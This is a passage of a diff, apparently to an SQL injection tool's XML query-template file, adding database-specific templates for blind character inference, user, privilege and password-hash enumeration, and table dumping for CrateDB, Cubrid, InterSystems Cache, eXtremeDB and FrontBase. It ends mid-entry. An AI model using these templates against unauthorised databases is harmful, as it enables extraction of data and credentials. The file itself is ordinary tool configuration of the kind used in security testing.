|
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||||
<length query="LENGTH(%s)"/>
|
<length query="LENGTH(%s)"/>
|
||||||
@@ -1265,9 +1250,8 @@
|
|||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- MimerSQL -->
|
|
||||||
<!-- NOTE: DBMS with stohastic output of rows (ORDER BY required) -->
|
|
||||||
<dbms value="MimerSQL">
|
<dbms value="MimerSQL">
|
||||||
|
<!-- NOTE: DBMS with stohastic output of rows (ORDER BY required) -->
|
||||||
<!-- NOTE: NVARCHAR(4000) causes problems in boolean (e.g. 'Required temporary table row length is 32006, only 32000 is possible') -->
|
<!-- NOTE: NVARCHAR(4000) causes problems in boolean (e.g. 'Required temporary table row length is 32006, only 32000 is possible') -->
|
||||||
<cast query="CAST(%s AS NVARCHAR(1000))"/>
|
<cast query="CAST(%s AS NVARCHAR(1000))"/>
|
||||||
<length query="CHAR_LENGTH(%s)"/>
|
<length query="CHAR_LENGTH(%s)"/>
|
||||||
@@ -1334,4 +1318,312 @@
|
|||||||
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s ORDER BY table_schema" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' ORDER BY table_name" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s ORDER BY table_schema" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' ORDER BY table_name" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="CrateDB">
|
||||||
|
<cast query="CAST(%s AS TEXT)"/>
|
||||||
|
<length query="CHAR_LENGTH((%s)::text)"/>
|
||||||
|
<isnull query="COALESCE(%s,' ')"/>
|
||||||
|
<delimiter query="||"/>
|
||||||
|
<limit query="LIMIT %d OFFSET %d"/>
|
||||||
|
<limitregexp query="\s+LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||||
|
<limitgroupstart query="2"/>
|
||||||
|
<limitgroupstop query="1"/>
|
||||||
|
<limitstring query=" LIMIT "/>
|
||||||
|
<order query="ORDER BY %s ASC"/>
|
||||||
|
<count query="COUNT(%s)"/>
|
||||||
|
<!-- NOTE: non-; version(s) doesn't work properly -->
|
||||||
|
<comment query=";--" query2=";/*"/>
|
||||||
|
<substring query="SUBSTR((%s)::text,%d,%d)"/>
|
||||||
|
<concatenate query="%s||%s"/>
|
||||||
|
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||||
|
<!-- NOTE: ASCII() only available in >= 4.1 -->
|
||||||
|
<inference query="SUBSTR((%s)::text,%d,1)>'%c'" query2="ASCII(SUBSTR((%s)::text,%d,1))>%d"/>
|
||||||
|
<banner query="SELECT version['number'] FROM sys.nodes" query2="VERSION()"/>
|
||||||
|
<current_user query="CURRENT_USER"/>
|
||||||
|
<current_db query="CURRENT_SCHEMA()"/>
|
||||||
|
<hostname query="SELECT hostname FROM sys.nodes"/>
|
||||||
|
<!--<table_comment query="SELECT pg_catalog.obj_description(c.oid) FROM pg_catalog.pg_class c WHERE c.relname='%s'"/>-->
|
||||||
|
<table_comment query="SELECT description FROM pg_description JOIN pg_class ON pg_description.objoid=pg_class.oid JOIN pg_namespace ON pg_class.relnamespace=pg_namespace.oid WHERE nspname='%s' AND relname='%s'"/>
|
||||||
|
<column_comment/>
|
||||||
|
<is_dba query="(SELECT superuser=true FROM sys.users WHERE name=CURRENT_USER)"/>
|
||||||
|
<check_udf/>
|
||||||
|
<users>
|
||||||
|
<inband query="SELECT name FROM sys.users"/>
|
||||||
|
<blind query="SELECT name FROM sys.users LIMIT 1 OFFSET %d" count="SELECT COUNT(name) FROM sys.users"/>
|
||||||
|
</users>
|
||||||
|
<passwords/>
|
||||||
|
<privileges>
|
||||||
|
<inband query="SELECT grantee,type FROM sys.privileges" condition="grantee"/>
|
||||||
|
<blind query="SELECT DISTINCT(type) FROM sys.privileges WHERE grantee %s '%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(type)) FROM sys.privileges WHERE grantee %s '%s'"/>
|
||||||
|
</privileges>
|
||||||
|
<roles/>
|
||||||
|
<statements>
|
||||||
|
<inband query="SELECT stmt FROM sys.jobs"/>
|
||||||
|
<blind query="SELECT stmt FROM sys.jobs LIMIT 1 OFFSET %d" count="SELECT COUNT(stmt) FROM sys.jobs"/>
|
||||||
|
</statements>
|
||||||
|
<dbs>
|
||||||
|
<inband query="SELECT schema_name FROM information_schema.schemata"/>
|
||||||
|
<blind query="SELECT schema_name FROM information_schema.schemata ORDER BY schema_name LIMIT 1 OFFSET %d" count="SELECT COUNT(schema_name) FROM information_schema.schemata"/>
|
||||||
|
</dbs>
|
||||||
|
<tables>
|
||||||
|
<inband query="SELECT table_schema,table_name FROM information_schema.tables" condition="table_schema"/>
|
||||||
|
<blind query="SELECT table_name FROM information_schema.tables WHERE table_schema='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'"/>
|
||||||
|
</tables>
|
||||||
|
<columns>
|
||||||
|
<inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||||
|
<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||||
|
</columns>
|
||||||
|
<dump_table>
|
||||||
|
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||||
|
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||||
|
</dump_table>
|
||||||
|
<search_db>
|
||||||
|
<inband query="SELECT schema_name FROM information_schema.schemata WHERE %s" condition="schema_name"/>
|
||||||
|
<blind query="SELECT schema_name FROM information_schema.schemata WHERE %s" count="SELECT COUNT(DISTINCT(schema_name)) FROM information_schema.schemata WHERE %s" condition="schema_name"/>
|
||||||
|
</search_db>
|
||||||
|
<search_table>
|
||||||
|
<inband query="SELECT table_schema,table_name FROM information_schema.tables WHERE %s" condition="table_name" condition2="table_schema"/>
|
||||||
|
<blind query="SELECT DISTINCT(table_schema) FROM information_schema.tables WHERE %s" query2="SELECT table_name FROM information_schema.tables WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM information_schema.tables WHERE %s" count2="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
|
||||||
|
</search_table>
|
||||||
|
<search_column>
|
||||||
|
<inband query="SELECT nspname,relname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
|
||||||
|
<blind query="SELECT DISTINCT(nspname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
|
||||||
|
</search_column>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Cubrid">
|
||||||
|
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||||
|
<length query="CHAR_LENGTH(%s)"/>
|
||||||
|
<isnull query="IFNULL(%s,' ')"/>
|
||||||
|
<delimiter query="||"/>
|
||||||
|
<limit query="LIMIT %d,%d"/>
|
||||||
|
<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||||
|
<limitgroupstart query="1"/>
|
||||||
|
<limitgroupstop query="2"/>
|
||||||
|
<limitstring query=" LIMIT "/>
|
||||||
|
<order query="ORDER BY %s ASC"/>
|
||||||
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="--" query2="/*" query3="//"/>
|
||||||
|
<substring query="MID((%s),%d,%d)"/>
|
||||||
|
<concatenate query="%s||%s"/>
|
||||||
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
|
<hex query="HEX(%s)"/>
|
||||||
|
<inference query="ASCII(MID((%s),%d,1))>%d"/>
|
||||||
|
<banner query="VERSION()"/>
|
||||||
|
<current_user query="CURRENT_USER"/>
|
||||||
|
<current_db query="CURRENT_USER"/>
|
||||||
|
<hostname/>
|
||||||
|
<table_comment query="SELECT comment FROM db_class WHERE owner_name='%s' AND class_name='%s'"/>
|
||||||
|
<column_comment query="SELECT db_attribute.comment FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s' AND db_class.class_name='%s' AND attr_name='%s'"/>
|
||||||
|
<is_dba query="CURRENT_USER='DBA'"/>
|
||||||
|
<check_udf query="(SELECT meth_name FROM db_method WHERE meth_name='%s' LIMIT 0,1)='%s'"/>
|
||||||
|
<users>
|
||||||
|
<inband query="SELECT name FROM db_user"/>
|
||||||
|
<blind query="SELECT name FROM db_user LIMIT %d,1" count="SELECT COUNT(name) FROM db_user"/>
|
||||||
|
</users>
|
||||||
|
<passwords/>
|
||||||
|
<privileges>
|
||||||
|
<inband query="SELECT grantee_name,auth_type FROM db_auth" condition="grantee_name"/>
|
||||||
|
<blind query="SELECT DISTINCT(auth_type) FROM db_auth WHERE grantee_name='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(auth_type)) FROM db_auth WHERE grantee_name='%s'"/>
|
||||||
|
</privileges>
|
||||||
|
<roles/>
|
||||||
|
<statements/>
|
||||||
|
<dbs>
|
||||||
|
<inband query="SELECT owner_name FROM db_class"/>
|
||||||
|
<blind query="SELECT DISTINCT(owner_name) FROM db_class LIMIT %d,1" count="SELECT COUNT(DISTINCT(owner_name)) FROM db_class"/>
|
||||||
|
</dbs>
|
||||||
|
<tables>
|
||||||
|
<inband query="SELECT owner_name,class_name FROM db_class" condition="owner_name"/>
|
||||||
|
<blind query="SELECT class_name FROM db_class WHERE owner_name='%s' LIMIT %d,1" count="SELECT COUNT(class_name) FROM db_class WHERE owner_name='%s'"/>
|
||||||
|
</tables>
|
||||||
|
<columns>
|
||||||
|
<inband query="SELECT attr_name,data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" condition="attr_name"/>
|
||||||
|
<blind query="SELECT attr_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" query2="SELECT data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" count="SELECT COUNT(attr_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" condition="attr_name"/>
|
||||||
|
</columns>
|
||||||
|
<dump_table>
|
||||||
|
<inband query="SELECT %s FROM %s.%s"/>
|
||||||
|
<blind query="SELECT %s FROM %s.%s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||||
|
</dump_table>
|
||||||
|
<search_db>
|
||||||
|
<inband query="SELECT name FROM db_user WHERE %s" condition="name"/>
|
||||||
|
<blind query="SELECT name FROM db_user WHERE %s" count="SELECT COUNT(name) FROM db_user WHERE %s" condition="name"/>
|
||||||
|
</search_db>
|
||||||
|
<search_table>
|
||||||
|
<inband query="SELECT owner_name,class_name FROM db_class WHERE %s" condition="class_name" condition2="owner_name"/>
|
||||||
|
<blind query="SELECT DISTINCT(owner_name) FROM db_class WHERE %s" query2="SELECT DISTINCT(class_name) FROM db_class WHERE owner_name='%s'" count="SELECT COUNT(DISTINCT(owner_name)) FROM db_class WHERE %s" count2="SELECT COUNT(DISTINCT(class_name)) FROM db_class WHERE owner_name='%s'" condition="class_name" condition2="owner_name"/>
|
||||||
|
</search_table>
|
||||||
|
<search_column>
|
||||||
|
<inband query="SELECT owner_name,db_class.class_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" condition="attr_name" condition2="owner_name" condition3="db_class.class_name"/>
|
||||||
|
<blind query="SELECT DISTINCT(owner_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" query2="SELECT DISTINCT(db_class.class_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s'" count="SELECT COUNT(DISTINCT(owner_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" count2="SELECT COUNT(DISTINCT(db_class.class_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s'" condition="attr_name" condition2="owner_name" condition3="db_class.class_name"/>
|
||||||
|
</search_column>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="InterSystems Cache">
|
||||||
|
<cast query="CAST(%s AS NVARCHAR(4000))"/>
|
||||||
|
<length query="CHAR_LENGTH(%s)"/>
|
||||||
|
<isnull query="COALESCE(%s,' ')"/>
|
||||||
|
<delimiter query="||"/>
|
||||||
|
<limit query="SELECT TOP %d %s FROM (%s) WHERE %%VID>%d"/>
|
||||||
|
<limitregexp query="TOP\s+(\d+)\s+.+?\s+FROM\s+.+?\s+WHERE\s+.+%%VID>(\d+)"/>
|
||||||
|
<limitgroupstart query="2"/>
|
||||||
|
<limitgroupstop query="1"/>
|
||||||
|
<limitstring/>
|
||||||
|
<order query="ORDER BY %s ASC"/>
|
||||||
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="--" query2=";"/>
|
||||||
|
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||||
|
<concatenate query="%s||%s"/>
|
||||||
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
|
<inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
|
||||||
|
<banner query="$ZVERSION"/>
|
||||||
|
<current_user query="$USERNAME"/>
|
||||||
|
<current_db/>
|
||||||
|
<hostname/>
|
||||||
|
<table_comment/>
|
||||||
|
<column_comment/>
|
||||||
|
<is_dba query="$USERNAME='_SYSTEM'"/>
|
||||||
|
<check_udf/>
|
||||||
|
<users/>
|
||||||
|
<passwords/>
|
||||||
|
<privileges/>
|
||||||
|
<roles/>
|
||||||
|
<statements/>
|
||||||
|
<dbs>
|
||||||
|
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT db FROM mysql.db"/>
|
||||||
|
<blind query="SELECT TOP 1 schema_name FROM (SELECT TOP ALL schema_name FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY schema_name) WHERE %%VID=%d" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||||
|
</dbs>
|
||||||
|
<tables>
|
||||||
|
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
|
||||||
|
<blind query="SELECT TOP 1 table_name FROM (SELECT TOP ALL table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' ORDER BY table_name) WHERE %%VID=%d" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'"/>
|
||||||
|
</tables>
|
||||||
|
<columns>
|
||||||
|
<inband query="SELECT column_name,data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||||
|
<blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s' ORDER BY column_name" query2="SELECT data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||||
|
</columns>
|
||||||
|
<dump_table>
|
||||||
|
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||||
|
<blind query="SELECT TOP 1 %s FROM (SELECT TOP ALL * FROM %s.%s ORDER BY %s) WHERE %%VID=%d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||||
|
</dump_table>
|
||||||
|
<search_db>
|
||||||
|
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
|
||||||
|
<blind query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" count="SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
|
||||||
|
</search_db>
|
||||||
|
<search_table>
|
||||||
|
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
|
||||||
|
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
|
||||||
|
</search_table>
|
||||||
|
<search_column>
|
||||||
|
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||||
|
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||||
|
</search_column>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="eXtremeDB">
|
||||||
|
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||||
|
<length query="LENGTH(%s)"/>
|
||||||
|
<isnull query="IFNULL(%s,' ')"/>
|
||||||
|
<delimiter query="||"/>
|
||||||
|
<limit query="LIMIT %d,%d"/>
|
||||||
|
<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||||
|
<limitgroupstart query="1"/>
|
||||||
|
<limitgroupstop query="2"/>
|
||||||
|
<limitstring query=" LIMIT "/>
|
||||||
|
<order query="ORDER BY %s ASC"/>
|
||||||
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="--"/>
|
||||||
|
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||||
|
<concatenate query="%s||%s"/>
|
||||||
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
|
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
|
||||||
|
<banner/>
|
||||||
|
<current_user/>
|
||||||
|
<current_db/>
|
||||||
|
<hostname/>
|
||||||
|
<table_comment/>
|
||||||
|
<column_comment/>
|
||||||
|
<is_dba/>
|
||||||
|
<check_udf/>
|
||||||
|
<users/>
|
||||||
|
<passwords/>
|
||||||
|
<privileges/>
|
||||||
|
<roles/>
|
||||||
|
<statements/>
|
||||||
|
<dbs/>
|
||||||
|
<tables/>
|
||||||
|
<columns/>
|
||||||
|
<dump_table>
|
||||||
|
<inband query="SELECT %s FROM %s"/>
|
||||||
|
<blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
|
||||||
|
</dump_table>
|
||||||
|
<search_db/>
|
||||||
|
<search_table/>
|
||||||
|
<search_column/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="FrontBase">
|
||||||
|
<cast query="CAST(%s AS NCHAR VARYING(4000))"/>
|
||||||
|
<length query="CHAR_LENGTH(%s)"/>
|
||||||
|
<isnull query="COALESCE(%s,' ')"/>
|
||||||
|
<delimiter query="||"/>
|
||||||
|
<limit query="TOP (%d,%d)"/>
|
||||||
|
<limitregexp query="\s+TOP\s*\(([\d]+)\s*\,\s*([\d]+)\)" query2="\s+TOP\s+([\d]+)"/>
|
||||||
|
<limitgroupstart query="1"/>
|
||||||
|
<limitgroupstop query="2"/>
|
||||||
|
<limitstring query=" TOP "/>
|
||||||
|
<order query="ORDER BY %s ASC"/>
|
||||||
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query=";--"/>
|
||||||
|
<substring query="SUBSTRING((%s) FROM %d FOR %d)"/>
|
||||||
|
<concatenate query="%s||%s"/>
|
||||||
|
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||||
|
<inference query="SUBSTRING((%s) FROM %d FOR 1)>'%c'"/>
|
||||||
|
<banner/>
|
||||||
|
<current_user query="CURRENT_USER"/>
|
||||||
|
<current_db query="CURRENT_SCHEMA"/>
|
||||||
|
<hostname/>
|
||||||
|
<table_comment/>
|
||||||
|
<column_comment/>
|
||||||
|
<is_dba query="(SELECT UPPER(CURRENT_USER) FROM INFORMATION_SCHEMA.IO_STATISTICS)='_SYSTEM'"/>
|
||||||
|
<check_udf/>
|
||||||
|
<users>
|
||||||
|
<inband query="SELECT user_name FROM INFORMATION_SCHEMA.USERS"/>
|
||||||
|
<blind query="SELECT TOP (%d,1) user_name FROM INFORMATION_SCHEMA.USERS" count="SELECT COUNT(user_name) FROM INFORMATION_SCHEMA.USERS"/>
|
||||||
|
</users>
|
||||||
|
<passwords>
|
||||||
|
<inband query="SELECT user_name,password FROM INFORMATION_SCHEMA.USERS" condition="user_name"/>
|
||||||
|
<blind query="SELECT TOP (%d,1) password FROM INFORMATION_SCHEMA.USERS WHERE user_name='%s'" count="SELECT COUNT(password) FROM INFORMATION_SCHEMA.USERS WHERE user_name='%s'"/>
|
||||||
|
</passwords>
|
||||||
|
<privileges/>
|
||||||
|
<roles/>
|
||||||
|
<statements/>
|
||||||
|
<dbs>
|
||||||
|
<inband query="SELECT "schema_name" FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||||
|
<blind query="SELECT TOP (%d,1) "schema_name" FROM INFORMATION_SCHEMA.SCHEMATA" count="SELECT COUNT("schema_name") FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||||
|
</dbs>
|
||||||
|
<tables>
|
||||||
|
<inband query="SELECT "schema_name","table_name" FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk" condition=""schema_name""/>
|
||||||
|
<blind query="SELECT TOP (%d,1) "table_name" FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk WHERE "schema_name"='%s'" count="SELECT COUNT("table_name") FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk WHERE "schema_name"='%s'"/>
|
||||||
|
</tables>
|
||||||
|
<columns>
|
||||||
|
<inband query="SELECT "column_name",data_type FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.DATA_TYPE_DESCRIPTOR,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.DATA_TYPE_DESCRIPTOR.column_name_pk=INFORMATION_SCHEMA.COLUMNS.column_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND "table_name"='%s' AND "schema_name"='%s'" condition=""column_name""/>
|
||||||
|
<blind query="SELECT "column_name" FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND "table_name"='%s' AND "schema_name"='%s'" query2="SELECT data_type FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.DATA_TYPE_DESCRIPTOR,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.DATA_TYPE_DESCRIPTOR.column_name_pk=INFORMATION_SCHEMA.COLUMNS.column_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND "table_name"='%s' AND "column_name"='%s' AND "schema_name"='%s'" count="SELECT COUNT("column_name") FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND "table_name"='%s' AND "schema_name"='%s'" condition=""column_name""/>
|
||||||
|
</columns>
|
||||||
|
<dump_table>
|
||||||
|
<inband query="SELECT %s FROM %s.%s"/>
|
||||||
|
<blind query="SELECT TOP (%d,1) %s FROM %s.%s" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||||
|
</dump_table>
|
||||||
|
<search_db>
|
||||||
|
<inband query="SELECT "schema_name" FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition=""schema_name""/>
|
||||||
|
<blind query="SELECT "schema_name" FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" count="SELECT COUNT("schema_name") FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition=""schema_name""/>
|
||||||
|
</search_db>
|
||||||
|
<search_table>
|
||||||
|
<inband query="SELECT "schema_name","table_name" FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk WHERE %s" condition=""table_name"" condition2=""schema_name""/>
|
||||||
|
<blind query="SELECT "schema_name" FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk WHERE %s" query2="SELECT "table_name" FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk WHERE "schema_name"='%s'" count="SELECT COUNT("schema_name") FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk WHERE %s" count2="SELECT COUNT("table_name") FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk WHERE "schema_name"='%s'" condition=""table_name"" condition2=""schema_name""/>
|
||||||
|
</search_table>
|
||||||
|
<!-- NOTE: Not working properly with DISTINCT(...) in subquery -->
|
||||||
|
<search_column>
|
||||||
|
